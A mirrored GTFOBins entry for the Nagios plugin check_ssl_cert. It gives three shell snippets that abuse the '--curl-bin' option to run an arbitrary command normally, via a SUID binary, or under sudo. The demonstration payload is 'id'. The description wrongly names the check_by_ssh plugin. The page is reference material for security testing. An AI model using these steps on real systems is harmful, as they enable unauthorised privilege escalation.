1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-19 02:11:39 +02:00
GTFOBins.github.io/_gtfobins/check_ssl_cert.md
2020-11-12 21:36:18 +01:00

1001 B

description functions
This is the `check_by_ssh` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.
command suid sudo
code
COMMAND='/usr/bin/id' OUTPUT="output_file" TF=$(mktemp) echo "$COMMAND | tee "$OUTPUT"" > $TF chmod +x $TF check_ssl_cert --curl-bin "$TF" -H example.com # example.com must provide TLS cat $OUTPUT
code
COMMAND='/usr/bin/id' OUTPUT="output_file" umask 022 TF=$(mktemp) echo "$COMMAND | tee "$OUTPUT"" > $TF chmod +x $TF ./check_ssl_cert --curl-bin "$TF" -H example.com # example.com must provide TLS cat $OUTPUT
code
COMMAND='/usr/bin/id' OUTPUT="output_file" umask 022 TF=$(mktemp) echo "$COMMAND | tee "$OUTPUT"" > $TF chmod +x $TF sudo check_ssl_cert --curl-bin "$TF" -H example.com # example.com must provide TLS cat $OUTPUT